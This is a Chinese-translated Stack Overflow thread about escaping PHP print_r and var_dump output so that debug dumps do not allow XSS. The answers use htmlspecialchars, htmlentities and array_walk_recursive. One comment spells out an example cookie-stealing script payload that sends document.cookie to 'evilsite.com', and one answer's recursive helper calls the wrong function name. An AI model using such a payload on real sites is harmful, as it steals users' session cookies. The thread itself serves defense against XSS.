【问题标题】:var_dump or print_r and html encodingvar_dump 或 print_r 和 html 编码
【发布时间】:2012-04-20 19:33:05
【问题描述】:
<?php 

$x = array("<b>","<i>","b","i","<h1>hello</h1>");
print_r ($x);
echo "<hr>";
var_dump ($x);

在 html 源代码中输出这个!

Array
(
    [0] => <b>
    [1] => <i>
    [2] => b
    [3] => i
    [4] => <h1>hello</h1>
)
<hr>array(5) {
  [0]=>
  string(3) "<b>"
  [1]=>
  string(3) "<i>"
  [2]=>
  string(1) "b"
  [3]=>
  string(1) "i"
  [4]=>
  string(14) "<h1>hello</h1>"
}

显然,我可能会被 XSS 攻击!
如何确保数组值是 htmlencoded?

【问题讨论】:

  • 我不明白你在做什么。 print_r 和 var_dump 旨在用于调试,因此使用它们时 XSS 应该不会成为问题。
  • 假设您正在从您自己的数据库中读取一些用户提供的值。并且您处于调试模式,您恰好运行 print_r($userdata) 并且 $userdata 中的值之一包含类似 [script]window.location.href="evilsite.com?cookies="+document.cookies “[/脚本]。
  • 好吧,既然你是调试者,你可能知道不要点击你是第 1000000 个访问者横幅或接受可疑的 Java 小程序,所以你可能会没事的。如果您担心,您可以随时用一些虚拟文本替换数据或编写您赢得的调试输出例程。
  • AverageJoe - 一定要怀疑所有数据,即使它在您的数据库中。使用下面提到的@knittl htmlspecialchars。
  • @Scott,正是这个想法!我不知道你为什么提出这一点。我的问题是如何在 var_dump 和 print_r 中应用 htmlentities,这样我们就不会受到 XSS 攻击! Knittl 明白了这个问题。

标签: php xss html-entities var-dump


【解决方案1】:
echo <pre>;
echo htmlspecialchars(print_r($key['value'], true));
echo '</pre>';

我使用此代码从没有 sql 数据库中输出一个数组值(包含 adsense 代码)。

【讨论】:

    【解决方案2】:

    this PHP manual comment 中描述了适合我的功能。

    他替换var_dump的函数实现为:

    function htmlvardump()
    {
        ob_start(); 
        $var = func_get_args(); 
        call_user_func_array('var_dump', $var); 
        echo htmlentities(ob_get_clean());
     } 
    

    这适用于 PHP 5.3+。

    (请注意原始来源中有错字)。

    【讨论】:

    • 我使用它稍作修改来循环 $var 中的值并在每个值上调用 var_dump 而不是参数数组。
    【解决方案3】:

    虽然这个问题有一个公认的答案,但我认为 David Morrow 的答案是最好/最简单/最实用的(使用 print_r true 标志):

    echo "<pre>".htmlentities(print_r($some_array, true))."</pre>";
    

    Never-the-less,这是另一种使用输出缓冲的解决方案:

    <?php
    
    ob_start();
    print_r($some_array);
    $buffer = ob_get_clean();
    echo "<pre>".htmlentities($buffer)."</pre>";
    
    ?>
    

    【讨论】:

      【解决方案4】:

      或者您可以将 print_r 保存为字符串,然后使用设置为 true 的第二个参数对其进行转义。

      $arr = array('<script>alert("hey");</script>');
      $str = print_r($arr, true);
      echo htmlentities($str);
      

      输出:

      Array
      (
         [0] => <script>alert("hey");</script>
      )
      

      脚本未执行

      【讨论】:

      • htmlentities 不会进行换行或连续空格,因此您可能需要将其包装在字符串替换中: str_ireplace(array("\n"," "),array("
        "," "),htmlentities($str));
      【解决方案5】:

      我发现这个页面很有帮助,但我确实将函数修改为递归,walker 处理函数在回显键后检查值处的数组,然后回调该数组上的原始函数。我认为这使它成为一个真正的'递归 htmlentity 函数,因此有了新名称......

      function htmlentities_print_r( $inputarray ) {
      
          echo "<pre>" ;
      
               array_walk( $inputarray , "html_encoder" ) ;
      
          echo "</pre>";
      
      }
      
      function html_encoder($current_val,$current_key){
      
          echo "['" , htmlentities($current_key, ENT_QUOTES, "UTF-8") , "']", " => ";
      
          if ( is_array( $current_val ) ) {
      
              blp_print_r( $current_val ) ;
      
          } else {
      
              echo htmlentities($current_val, ENT_QUOTES, "UTF-8") , "\n";
      
          }
      }
      

      【讨论】:

        【解决方案6】:

        一个简单的解决方案是使用array_walk_recursive:

        array_walk_recursive($inputarray, function(&$v) { $v = htmlspecialchars($v); });
        

        【讨论】:

        • +1 但可以用更短的函数名来缩短:htmlentities
        • @micha: 更短?这是一个不同的函数,对其输入进行不同的编码
        • @Knittl 我得到这个Parse error: syntax error, unexpected T_FUNCTION in ... 当我这样做 $x = array("","","b","i","

          你好

          "); print_r ($x);回声“”; var_dump ($x);回声“”; array_walk_recursive($x, function($v) { return htmlspecialchars($v); });
        • @AverageJoe:lambda 函数是最近才在 PHP 中引入的。在旧版本中,您必须创建一个单独的函数并将其名称作为回调传递给array_walk_recursive
        • @micha:“差别不大”和“不同”不是一回事。我声称它以不同的方式对其输入进行编码(确实如此)。此外,您通常不需要htmlentities(即使它可以为您节省一些击键次数——您始终可以根据需要创建包装函数function h($s) { return htmlspeciachars($s); }$h = 'htmlspecialchars; echo $h('somestring')
        【解决方案7】:

        我发现knittl的代码不起作用。我必须进行一些小改动才能使其正常工作,如下所示:

        array_walk_recursive($inputarray, function(&$v) { $v = htmlspecialchars($v); });
        

        现在这在 PHP5.3+ 中可以正常工作

        【讨论】:

        • 是的,既然你这么说......你完全正确,我的回答现在也应该有效。 +1
        【解决方案8】:

        感谢 Knittl,这就是我想出的。 按照我想要的方式工作!

        <?php 
        
        
        $x = array("tag1" => "<b>","tag2" => "<i>","tag3" => "b","tag4" => "i","tag5" => "<h1>hello</h1>");
        
        echo "<hr><pre>";
        blp_print_r ($x);
        echo "<hr>";
        print_r($x);
        echo "</pre><hr>"; 
        
        /*
        
        outputs this in the browser normal view
        
        new one... 
        
        Array
        (
                ['tag1'] => <b>
                ['tag2'] => <i>
                ['tag3'] => b
                ['tag4'] => i
                ['tag5'] => <h1>hello</h1>
        )
        
        
        traditional one...
        
        Array
        (
            [tag1] => 
            [tag2] => 
            [tag3] => b
            [tag4] => i
            [tag5] => 
        hello
        
        
        )
        
        */
        
        
        
        function blp_print_r($inputarray){
            echo "Array\n(\n";
            echo "<blockquote>";
            array_walk($inputarray,"html_encoder");
            echo "</blockquote>";
            echo ")";
        }
        
        function html_encoder($current_val,$current_key){
        
            echo "['" , htmlentities($current_key, ENT_QUOTES, "UTF-8") , "']", " => ";
            echo htmlentities($current_val, ENT_QUOTES, "UTF-8") , "\n";
        }
        
        ?>
        

        【讨论】:

          猜你喜欢
          • 2011-08-05
          • 2015-03-15
          • 1970-01-01
          • 2011-03-25
          • 2013-01-22
          • 1970-01-01
          • 2011-06-29
          • 1970-01-01
          • 2018-04-21
          相关资源
          最近更新 更多